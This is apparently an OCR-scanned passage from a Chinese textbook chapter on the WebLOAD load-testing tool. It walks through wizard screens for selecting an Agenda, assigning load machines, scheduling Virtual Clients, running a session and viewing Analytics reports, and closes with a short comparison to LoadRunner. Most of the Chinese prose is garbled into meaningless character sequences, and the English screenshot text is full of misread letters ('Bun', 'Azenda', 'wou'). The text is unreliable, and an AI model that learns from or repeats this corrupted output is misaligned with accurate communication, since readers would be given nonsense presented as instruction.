S_e:!.e_ct__the Type of Test to Bun and

[ <Back || HNext > | | Cancel | [ Help |

Kl 21-29 2 FE {25 A

1 HE W WA~ A7 4119 Agenda U Search. wlp, W& 21-30 s,
(3) ¥ Next ¥ Hl 5 o H B £ U EHE . a0 & 21-31 Fros .
s Add FH A] RAES I E L, By Delete #5801 LU BR % (9 241,
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WebLOAD Wizard - Agenda/Mix Sei ! g e« o S|

Selecting the Agenda/Mix to run
Browse the files in your system and select the Agzenda/Mix to run ..

Click the browse button to select the Agenda that you want to run

Click Options to set preferences for the selected Agenda, and click View to open the
Azenda.

Agenda: C:\Users'lo‘Document s\ ¥ ebLOAD \Sessions i Search. wlp | - | View. .. I

[

< Back || Next >

A 21-30 EFENIFIRFL A Agenda SCF Search. wlp

- _
WebLOAD Wizard - E Selection ‘ . g . “

Selecting Hosts
Select the hosts to use to generate Virtual Clients and bombard the applicatiom ..
under test.

Select a host from the Host computers list and press the single arrow key adjacent to the
Load Machine or Frobing Clients window to assign the host to act as a Load Machine or

Hoszt computers: Load Machines=:

@ln calhost hAdd

([Caea)

o

)

Probing Client Machines:

II

Hext > ][ Cancel

21-31  EFEEHTIEHE

EALrFIRE . T PLRERI 2 P AL, PN R A onl LUk £ 2 4> EHUE 8 L, 5
THAPAE =2 AU B EAA I HL s R0 T AL — A kU T S e
AR AUNAIE B MR UL — R M 325" Web R R Fy i H PR E
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(4) & £ 0K, an i 21-32 P

i

Scheduling the Test Session
How do wou want to diztribute the load? ..

The first step in scheduling 2 load test session 1s defining how to
distribute the load among the selected Load Machines. Tou can choose to
separately or make a single definition that will be applied to all
machines, distributing the load evenly between tham.

() Individual schedul

Select thiz option to defime an indiwidual load schedule for esach
Load Machine in wour Load Template.

@ Collective scheduli

Select this option to define a load schedule for all Load Machines. Eeep in mind
that using this option, the total amount of Virtual Clients defined, will be
equally split among all Load Machines.

[ <Back | Wext > | [ Comcel | [ Help |

Bl 21-32 BN R)
(5) 2 HEM 0 0 0 2202 17 10 R 40020 )7 g 119 %80k, AT 21-33 Fros,

! Scheduling the Load Test Session Collectively

! Specify the total number of ¥Virtual Client=s to run on each all Load Machines,
or click Load Profiler to use a predefined scheduling model. Either waw, the
defined namber of Virtual Clients will be distributed everly among all Lead

|l Machines. )

For each all Load Machine enter the starting and ending times in the From and Te fields.
In the Virtual Clients field, enter the number of Virtual Clients participating in the

You can add zegments to the load tezt by cliclking fdd or Copy and Pazte,

ElLinit rm rounds

| <Back [ Wext > | | Cemeel | | Hlp |

K 21-33 BRI R BT EUE P iR BR
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PP E P B LAY S . Bl Load Profiler ¥ 4# . 3 1} Load Profiler X 4G HE, 40 21-34

7
1t Load Profiler XJ 3 HE fp o 3% £ 90 1 Sl b . A 5 DA T 28BS, 4n &l 21-35 Jlrw .
rmdmﬁrg

|
| Select the scheduling modet | Linear v

2
8

(=]
]

Virtual Clients
s 8
8 8

Time in minutes

\£|

Tatal time in minutes

Starting number of Yirtual Clients 5

CORED

Concluding rumber of Vittual Clienits G|

Linear

Fandom

Incrementing intervals

Incrementing intervals (time calculate)
Steps increments

Steps increments [time caloulate)

| bAppend | | Replace | | Cancel | | Hep | E:;rlu::j:}:_:“1 y

Ramp up steps

B 21-34 Load Profiler 3G HE B 21-35 i £ R AR

— R — T Linear(ZtEiB 1) .

IR I e 2 i A A TR, FE AN i F O Smin,

WEIT IR R 8O 5,

T 45 AR RE UL P B DR 50,

BCE A i Append FZHI BRI AT,

(6) BAds Next 24, . 4 Performance Measurements Manage Xf ifHE , {0 & 21-36 Fr
No My Finish #241 B A]

WebLOAD Wizard - Erformanne Me&nent: ﬂanﬂg_

e — e

Performance Messurements Manager
Click Add Monitors to configure the performance statistics to momitor and ..
dizplay in real-time during wouwr test seszzion. You can set WebLOAD to moniter
statizstics from wour application serwver, database, and Web serwver.

| Add Monitors... |

| [ Hele

Finish | | Cancel

& 21-36 Performance Measurements Manage X i fiE
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(7) 7t Completing the WebLOAD 1l F #Ld7 Finish 28 , W& 21-37 s,
WebLOAD Wizard G ——— : o 28
-

Cgmpleting the WebLOAD

Tou have successfully completed the WebLOAD

wizard.

Tou have created a bazic Load Template that
can be uzed to test wour Web application.

Tu run this Load Template immediataely,
select this box and then click Finish

T? f:l-:-se the wizrard, olick

WEBLOAD?
;"

[ <Back || Finish | | Cancel | [ Help |

& 21-37 Completing the WebLOAD 51
g Y S HE 3 7 2 75 PR AT 4 BV A R

21.4.3 E1T4K
P PEARAT S I - BN 21-38 T s 118 X TG A

Load Session Startup

?E Load Seszion Startlp in progress. . Lancel

&l 21-38  BEFEARAF SR S i

Ftfia 1y e T3, -4 21 S8 I R 2R ) 55 2% A&l 21-39 Frow .
ZRTBCE IS S AP T IR ER A I = a2 50 AR 7L U ] O Smin, Fir LA
Smin J& &5 B B Az il il 4 4

21.4.4 SN ER

(1) FE it 58 Ba » 25 A 3l 3 3R X5 3G A, an sl 21-40 ffros .

(2) Hidi Launch WebLOAD Analytics #8 , 3 #2 /R~ X 3G HE , tn & 21-41 PR,
(3) F & 4 A S 2 FR S PR A LB BT

(1) EH A WE 21-42 Fow,
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il= Session Help- @ - 8 %
s 0 0 0 @ "y =2 B2 @ T GB« | B B ED ¢ oo Mindow
Edit Start Stop Freeze Throttle Integrated Transactions Open Dashboard Open Data Ehp-:-rt E:s ort Import | Cascade Tile
Template Session Al Control | Report Manager Dashboard Window Statistics  Window Drrilling Report™ All= Windows Horizontally ‘u’er‘tlcall'y
Start Editing Execution Reports Export Statistes Windows View
I | S=s=ion tres window oo m .
QE’“'S::"“ AT EELY Y =
ﬁ localhast (17, 17) [
100.00 ;
50.00 — 5 J
0.00 . . - - . - o [
o 10 20 3 40 1] &0 To 80 90 100 '
: ] 2
Se.. Generator Mame Measurement Mame Measurement Type Value Min Max
. Total Load Size Current Slice Sum (Current Value) 13.982 4.738 13.982
. Total Hits Per Second Current Slice Sum (Current Value) 10.250 4.250 10.250
. Total Round Time Current Slice Average (Current Value) 11.341 11.065 12.629
Total Throughput (Bytes Per Second) Current Slice Sum [Current Value) 75052.300 31084.000 75052.300
"
Tirne: BO.00
' @ TIME GEMERATOR .. AGEMDA MA.. CLIE.. MESSAGE TIME STAMP
o oo Load Session Setup - completed. 2017/12/25 5:03:14 ;
S e e e e 2~|:|-1?f12;“25 e m——

21-39  SCA BR R A ) 1 45 2R

Launch WeblLoad Aﬂﬂl_‘ftiﬂi B

AJ‘-

Load session execution completed.

Next, launch WebLOAD Analytics to
analyze your load test results.

Launch WebLOAD Analytics

Show this dialog every timea WablLOAD sassion |s complatad.

21-40 Analytics &7 X 15 HE

WebLOAD Console * ﬁ‘

e

To open your current session in WebLOAD Analytics,
the session must be saved.

Do you want to save your session now?

K 21-41

WebLOAD Console #2 7~ X1 15 HE

A IFEF) WebLOAD 4 ZIEH E S M. WebLOAD 48 16 i) 1 23 % P A7 19 18] %
W I 1P 22 SE P e AR N S IR) 1) R o . ok S a4 R i — > & 12 1 BB F 1 s ok L FE R L
Tt Excel ol HoAth g = 4.

@ ERAT

#8 b LoadRunner, WebLOAD ¥ & &9y ¥ &) — 2

A2 2 WebLOAD #) 7 48 i % %

2w dy, WebLOAD IDE &4 F LR F 45 VUGen, WebLOAD Console £/ F LR + #
Controller, WebLOAD Analytics &M F LR ¥ # Analysis.,

WebLOAD IDE % %5 Agenda Tree+ Execution View+ Browser View &4 T LR ¥ ¢

TreeView #LE , WebLOAD & g A K H 9 52 JavaScript,

WebLOAD #9353+ # & 3t & A

AR B T4 MK R 5E A AR BRI A RS T ER T R, EE

373
N/
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HM%

AR BEED&R %

| (%) Report ™

X %R -0

rﬂ *"Worst Transachon o rﬂ *Load Generator Heal

|I ﬁ Report 1

ﬂ Performance Summary

[E] Atternpted Connections

[E] Response Time Breakdown
[B] HTTP Responses

[E] HTTP Errors Over Time

E Errors and Warnings

ﬂ Log Summary

E Total Page Time

E Worst Transaction over ime

] Load Generator Health

-

Session Summary

ﬁsuﬁngi O Preview

B-&lw <

L Gallery .} Recent Reports |

[ Templates
m General

W Log and Errors
[ Pages Analysis
i) Percentile
[ Probing Client
m Server Side Statistics
m Session Comparison
m Static Templates
[ Suatistical Corvelation
D) Transaction Analysis
[ User Defined
m Portfolios
Elj Extended Summary Portfolio
Bl Regression Partfolio
Elj Session Comparison Portfolio
Bl summary Portfolio

11111 - Total

Start 17-12-25 503 End 17-12-25 508 Duration  00:05:02

Max Virtual Clients 49 Total Throughput (MB)

Test passed

Total Errors 0 Total Warnings 0

Failed Rounds Total Rounds GO0

Total Hits 6,582

© 000

1]
Total Failed Hits 1]
1]

Total Failed TXs Total TXs 0

Response Time
0.4

0.2 1
01

Spconds

19.27

00 !
125 150 176 2 225 250 275 300

25 50 75 100

MNew Report successfully opened: Session Summary

|— Response Time — Load S-lul

K 21-42 EBME

HTTP/HTTPS 32 3 Ao g AR ik 2 5 0] 3K . K FRIZ F 69 AL A= = 35 £ & i 8ol 9K .

b wmvis
i F] WebLOAD T H XA 5555 1 5243 i [ sl i 47 14 B8 00 4K, I %6k be 3 A 45 2R .
IREE. T L& http://collegecontest. rogisoft. com/awardshow. html ¥ & 8 7 5 & B
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S h]) . There is but one secret to success

never give up |
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